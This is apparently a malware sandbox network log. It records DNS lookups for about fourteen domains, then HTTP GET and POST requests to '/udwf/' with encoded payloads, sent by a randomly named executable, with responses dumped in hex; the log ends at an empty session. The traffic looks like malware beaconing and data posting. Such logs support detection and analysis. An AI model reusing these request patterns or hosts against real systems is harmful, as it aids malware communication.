Nov 10, 2023 09:29:14.721385002 CET	62712	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:29:15.154055119 CET	53	62712	1.1.1.1	192.168.2.10
Nov 10, 2023 09:29:29.503151894 CET	62777	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:29:29.677537918 CET	53	62777	1.1.1.1	192.168.2.10
Nov 10, 2023 09:29:43.737668037 CET	49564	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:29:43.937655926 CET	53	49564	1.1.1.1	192.168.2.10
Nov 10, 2023 09:30:14.079902887 CET	56940	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:30:15.069221020 CET	53	56940	1.1.1.1	192.168.2.10
Nov 10, 2023 09:30:28.939727068 CET	56250	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:30:29.764601946 CET	53	56250	1.1.1.1	192.168.2.10
Nov 10, 2023 09:30:45.487359047 CET	54410	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:30:45.967153072 CET	53	54410	1.1.1.1	192.168.2.10
Nov 10, 2023 09:31:01.251776934 CET	62183	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:31:01.633452892 CET	53	62183	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 10, 2023 09:27:28.646183968 CET	192.168.2.10	1.1.1.1	0xa2e9	Standard query (0)	www.aifuturesummit.com	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:27:44.986780882 CET	192.168.2.10	1.1.1.1	0x781d	Standard query (0)	www.littlehappiez.com	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:27:58.628226042 CET	192.168.2.10	1.1.1.1	0xb891	Standard query (0)	www.bellcom.media	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:13.814363003 CET	192.168.2.10	1.1.1.1	0xc2d0	Standard query (0)	www.tutorwave.online	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:28.830049038 CET	192.168.2.10	1.1.1.1	0x721b	Standard query (0)	www.diabloseugene.com	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:43.768142939 CET	192.168.2.10	1.1.1.1	0xa654	Standard query (0)	www.spark-tech-global.xyz	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:59.189393044 CET	192.168.2.10	1.1.1.1	0x15c4	Standard query (0)	www.otternaut.live	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:29:14.721385002 CET	192.168.2.10	1.1.1.1	0x2d8a	Standard query (0)	www.lxdedu.com	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:29:29.503151894 CET	192.168.2.10	1.1.1.1	0xe42c	Standard query (0)	www.xn--4gq62f8w1alm9b.xyz	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:29:43.737668037 CET	192.168.2.10	1.1.1.1	0xf09a	Standard query (0)	www.autokit.help	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:30:14.079902887 CET	192.168.2.10	1.1.1.1	0x184a	Standard query (0)	www.iwhrkc.shop	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:30:28.939727068 CET	192.168.2.10	1.1.1.1	0x17fc	Standard query (0)	www.633922.com	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:30:45.487359047 CET	192.168.2.10	1.1.1.1	0x6ceb	Standard query (0)	www.sorenad.com	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:31:01.251776934 CET	192.168.2.10	1.1.1.1	0x7113	Standard query (0)	www.westcoastmedia.marketing	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 10, 2023 09:27:28.956147909 CET	1.1.1.1	192.168.2.10	0xa2e9	No error (0)	www.aifuturesummit.com	aifuturesummit.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2023 09:27:28.956147909 CET	1.1.1.1	192.168.2.10	0xa2e9	No error (0)	aifuturesummit.com		84.32.84.32	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:27:45.204215050 CET	1.1.1.1	192.168.2.10	0x781d	No error (0)	www.littlehappiez.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2023 09:27:45.204215050 CET	1.1.1.1	192.168.2.10	0x781d	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:27:59.338165045 CET	1.1.1.1	192.168.2.10	0xb891	No error (0)	www.bellcom.media		91.195.240.123	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:14.107490063 CET	1.1.1.1	192.168.2.10	0xc2d0	No error (0)	www.tutorwave.online	tutorwave.online		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2023 09:28:14.107490063 CET	1.1.1.1	192.168.2.10	0xc2d0	No error (0)	tutorwave.online		84.32.84.32	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:28.990993977 CET	1.1.1.1	192.168.2.10	0x721b	No error (0)	www.diabloseugene.com		199.59.243.225	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:43.996252060 CET	1.1.1.1	192.168.2.10	0xa654	No error (0)	www.spark-tech-global.xyz		162.0.222.119	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:28:59.389941931 CET	1.1.1.1	192.168.2.10	0x15c4	No error (0)	www.otternaut.live	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2023 09:28:59.389941931 CET	1.1.1.1	192.168.2.10	0x15c4	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:29:15.154055119 CET	1.1.1.1	192.168.2.10	0x2d8a	No error (0)	www.lxdedu.com		168.76.252.99	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:29:29.677537918 CET	1.1.1.1	192.168.2.10	0xe42c	No error (0)	www.xn--4gq62f8w1alm9b.xyz		35.227.246.104	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:29:43.937655926 CET	1.1.1.1	192.168.2.10	0xf09a	No error (0)	www.autokit.help	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2023 09:29:43.937655926 CET	1.1.1.1	192.168.2.10	0xf09a	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:30:15.069221020 CET	1.1.1.1	192.168.2.10	0x184a	No error (0)	www.iwhrkc.shop	5mm70f.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2023 09:30:15.069221020 CET	1.1.1.1	192.168.2.10	0x184a	No error (0)	5mm70f.shop		8.212.101.233	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:30:15.069221020 CET	1.1.1.1	192.168.2.10	0x184a	No error (0)	5mm70f.shop		8.212.102.171	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:30:29.764601946 CET	1.1.1.1	192.168.2.10	0x17fc	No error (0)	www.633922.com		103.120.80.111	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:30:45.967153072 CET	1.1.1.1	192.168.2.10	0x6ceb	No error (0)	www.sorenad.com		136.243.218.18	A (IP address)	IN (0x0001)	false
Nov 10, 2023 09:31:01.633452892 CET	1.1.1.1	192.168.2.10	0x7113	No error (0)	www.westcoastmedia.marketing	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2023 09:31:01.633452892 CET	1.1.1.1	192.168.2.10	0x7113	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.aifuturesummit.com

www.littlehappiez.com

www.bellcom.media

www.tutorwave.online

www.diabloseugene.com

www.spark-tech-global.xyz

www.otternaut.live

www.lxdedu.com

www.xn--4gq62f8w1alm9b.xyz

www.autokit.help

www.iwhrkc.shop

www.633922.com

www.sorenad.com

www.westcoastmedia.marketing

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.10	49714	84.32.84.32	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:27:29.171799898 CET	69	OUT	GET /udwf/?G0Yxd2Q=Kq0jCDSsi+gLhYagIFFza5XYEfPHq1wckJYs2pUOQJ4UOA08Cv/iplAOJSGKGG8twuAeLLQOU/XInoWNJu0WYoAEZtaSTts9sg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.aifuturesummit.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:27:29.367919922 CET	71	IN	HTTP/1.1 200 OK Server: hcdn Date: Fri, 10 Nov 2023 08:27:29 GMT Content-Type: text/html Content-Length: 10066 Connection: close Vary: Accept-Encoding x-hcdn-request-id: 67430418c91d3bdef8e59b62c2e54fb5-phx-edge1 Expires: Fri, 10 Nov 2023 08:27:28 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 32 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 35 2e 33 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 26 73 75 62 73 65 74 3d 63 79 72 69 6c 6c 69 63 2c 63 79 72 69 6c 6c 69 63 2d 65 78 74 2c 67 72 65 65 6b 2c 67 72 65 65 6b 2d 65 78 74 2c 6c 61 74 69 6e 2d 65 78 74 2c 76 69 65 74 6e 61 6d 65 73 65 22 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;
Nov 10, 2023 09:27:29.367961884 CET	72	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 30 2e 37 64 65 67 2c 23 65 39 65 64 66 62 20 2d 35 30 2e 32 31 25 2c 23 66 36 66 38 66 64 20 33 31 2e 31 31 25 2c 23 66 66 66 20 31 36 36 2e 30 32 25 29 7d 68 31 Data Ascii: background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-w
Nov 10, 2023 09:27:29.368074894 CET	73	IN	Data Raw: 76 3e 6c 69 3e 61 20 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 2d 62 61 72 20 69 6d 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 33 70 78 7d 2e 63 6f 6e 67 72 61 74 7a 7b 6d 61 72 67 69 6e 3a Data Ascii: v>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-bo
Nov 10, 2023 09:27:29.368112087 CET	74	IN	Data Raw: 31 36 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 Data Ascii: 16px;min-height:20px;min-width:20px;vertical-align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0}
Nov 10, 2023 09:27:29.368148088 CET	76	IN	Data Raw: 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 Data Ascii: ><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/aff
Nov 10, 2023 09:27:29.368185997 CET	77	IN	Data Raw: 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65 63 74 73 2e 3c 2f 70 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 46 69 6e Data Ascii: cessful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hostin
Nov 10, 2023 09:27:29.368223906 CET	78	IN	Data Raw: 6e 3c 74 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d 28 36 33 34 38 38 26 28 72 3d 6f 5b 6e 2b 2b 5d 29 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 65 6e 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 Data Ascii: n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};var o=36,r=214
Nov 10, 2023 09:27:29.368259907 CET	80	IN	Data Raw: 69 66 28 74 29 66 6f 72 28 66 3d 30 2c 77 3d 6d 2e 6c 65 6e 67 74 68 3b 66 3c 77 3b 66 2b 2b 29 79 5b 66 5d 26 26 28 6d 5b 66 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6d 5b 66 5d 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 Data Ascii: if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase().charCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w;a&&(w=this.utf16.decode(t));var v=(t=this.utf16.decode(t.toLo
Nov 10, 2023 09:27:29.368295908 CET	80	IN	Data Raw: 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 74 68 4e 61 6d 65 22 29 3b 61 63 63 6f 75 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 70 75 6e 79 63 6f 64 65 2e 54 6f 55 6e 69 63 6f 64 65 28 70 61 74 68 4e 61 6d 65 29 3c 2f 73 Data Ascii: ument.getElementById("pathName");account.innerHTML=punycode.ToUnicode(pathName)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.10	49715	23.227.38.74	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:27:45.358906984 CET	83	OUT	POST /udwf/ HTTP/1.1 Host: www.littlehappiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.littlehappiez.com Referer: http://www.littlehappiez.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 51 31 2f 6c 4d 2b 73 36 4f 59 33 6a 59 4b 42 2f 7a 71 71 61 61 42 49 56 69 78 47 63 51 57 4b 2f 47 6b 74 53 36 47 6e 43 69 2b 36 6c 77 76 74 6c 4a 71 4b 68 69 51 53 42 66 75 38 43 56 66 51 70 5a 45 49 31 53 75 31 6c 76 67 4c 70 51 42 74 33 30 4e 53 54 6e 72 72 41 6a 49 45 57 65 54 4b 75 63 50 32 63 6f 50 4d 64 6c 63 64 38 62 34 64 44 35 39 49 4c 34 6b 53 76 67 32 32 62 78 66 6e 4a 6a 59 45 36 56 32 4a 35 4e 66 66 61 33 62 35 33 71 4e 70 34 77 47 78 56 6a 58 4e 6b 6e 53 58 70 6c 4d 32 74 53 6f 52 39 73 2f 6c 4d 30 6a 78 41 67 67 3d 3d Data Ascii: G0Yxd2Q=Q1/lM+s6OY3jYKB/zqqaaBIVixGcQWK/GktS6GnCi+6lwvtlJqKhiQSBfu8CVfQpZEI1Su1lvgLpQBt30NSTnrrAjIEWeTKucP2coPMdlcd8b4dD59IL4kSvg22bxfnJjYE6V2J5Nffa3b53qNp4wGxVjXNknSXplM2tSoR9s/lM0jxAgg==
Nov 10, 2023 09:27:45.742500067 CET	85	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Nov 2023 08:27:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 293 X-Sorting-Hat-ShopId: 83935199526 Vary: Accept-Encoding X-Frame-Options: DENY X-ShopId: 83935199526 X-ShardId: 293 Content-Language: en-US Set-Cookie: localization=US; path=/; expires=Sun, 10 Nov 2024 08:27:45 GMT; SameSite=Lax Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USMA%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=littlehappiez.com; path=/; expires=Sat, 11 Nov 2023 08:27:45 GMT; SameSite=Lax Set-Cookie: _shopify_y=4449291f-7672-4969-ab63-6c8c671c5b94; Expires=Sat, 09-Nov-24 08:27:45 GMT; Domain=littlehappiez.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=598daef1-c1fc-4481-949d-30a60bd7f1d1; Expires=Fri, 10-Nov-23 08:57:45 GMT; Domain=littlehappiez.com; Path=/; SameSite=Lax Server-Timing: processing;dur=137 X-Shopify-Stage: production Content-Security-Policy: ; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=8cd67cc6-53bc-44c Data Raw: Data Ascii:
Nov 10, 2023 09:27:45.742522001 CET	86	IN	Data Raw: 2d 39 31 61 64 2d 34 36 34 64 64 37 36 37 39 62 31 32 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 Data Ascii: -91ad-464dd7679b12X-Content-Type-Options: nosniffX-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontrol
Nov 10, 2023 09:27:45.742536068 CET	87	IN	Data Raw: 36 37 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 95 58 5b 6f db 36 14 7e ef af e0 54 0c 68 07 dd 29 5b b6 2a a7 6b d3 76 1b 90 76 c5 3a 60 d8 de 68 89 b6 d8 c8 a2 46 d1 76 d2 a2 ff 7d 87 a4 28 4b 89 d3 ae 09 1a f3 72 ae df b9 f0 b8 f9 0f af 7e bf fc Data Ascii: 679X[o6~Th)[kvv:`hFv}(Kr~Q%w\}4CGPR^<B(QIPQQrr-.$5Hs85dGW*x#irzP@KmMmV]:@B?hEIE>C;"Q%kj'oo}RG\\|/Z]
Nov 10, 2023 09:27:45.742547989 CET	87	IN	Data Raw: 8c 18 81 16 bc 9c 59 a6 d0 8f 63 90 60 e4 5d 4d cc 9a ee fe 71 74 22 7e d0 09 38 4e c5 c7 af 97 2f 5f 63 95 22 e6 4a b7 de 95 13 0f 07 ea b1 f9 c8 19 54 99 9e 6e 9d 8b 3c 50 38 7c 1b 24 70 3d 9d b9 f1 02 5d da 95 bf 9c cf 15 3e f0 e1 c6 00 d3 0c Data Ascii: Yc`]Mqt"~8N/_c"JTn<P8\|$p=]>6BblS?VfAs r^aV$/MYspc1AvrX_E }y=grH6VujfTq.>pZA)"n>9xdvya*\|tVt
Nov 10, 2023 09:27:45.742562056 CET	87	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.10	49725	84.32.84.32	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:18.175122976 CET	174	OUT	POST /udwf/ HTTP/1.1 Host: www.tutorwave.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.tutorwave.online Referer: http://www.tutorwave.online/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 43 38 33 43 47 54 6c 65 32 6f 50 73 77 51 6c 35 59 2b 38 53 44 35 67 57 53 31 7a 79 33 59 52 6c 74 52 59 57 4b 76 51 79 74 5a 58 67 75 62 47 32 45 70 58 63 42 42 38 6a 56 43 7a 42 2f 66 69 61 4f 44 35 49 31 32 4a 66 55 62 38 68 72 31 69 6d 51 31 58 57 67 79 62 48 43 48 4d 44 50 6c 79 74 7a 54 31 48 7a 49 55 76 4e 6a 35 30 34 44 33 62 62 4e 36 76 39 34 4a 58 52 55 2b 45 30 6d 59 61 61 6a 65 6e 33 47 76 65 38 43 32 52 55 78 6f 44 65 37 4b 32 65 49 6f 6c 54 64 4c 7a 4a 50 4d 7a 5a 66 72 44 6e 33 7a 44 42 68 37 44 2b 58 62 37 67 41 46 58 47 62 6c 76 2b 6b 4f 58 63 6b 33 68 5a 5a 31 4d 72 2b 45 3d Data Ascii: G0Yxd2Q=C83CGTle2oPswQl5Y+8SD5gWS1zy3YRltRYWKvQytZXgubG2EpXcBB8jVCzB/fiaOD5I12JfUb8hr1imQ1XWgybHCHMDPlytzT1HzIUvNj504D3bbN6v94JXRU+E0mYaajen3Gve8C2RUxoDe7K2eIolTdLzJPMzZfrDn3zDBh7D+Xb7gAFXGblv+kOXck3hZZ1Mr+E=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.10	49726	84.32.84.32	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
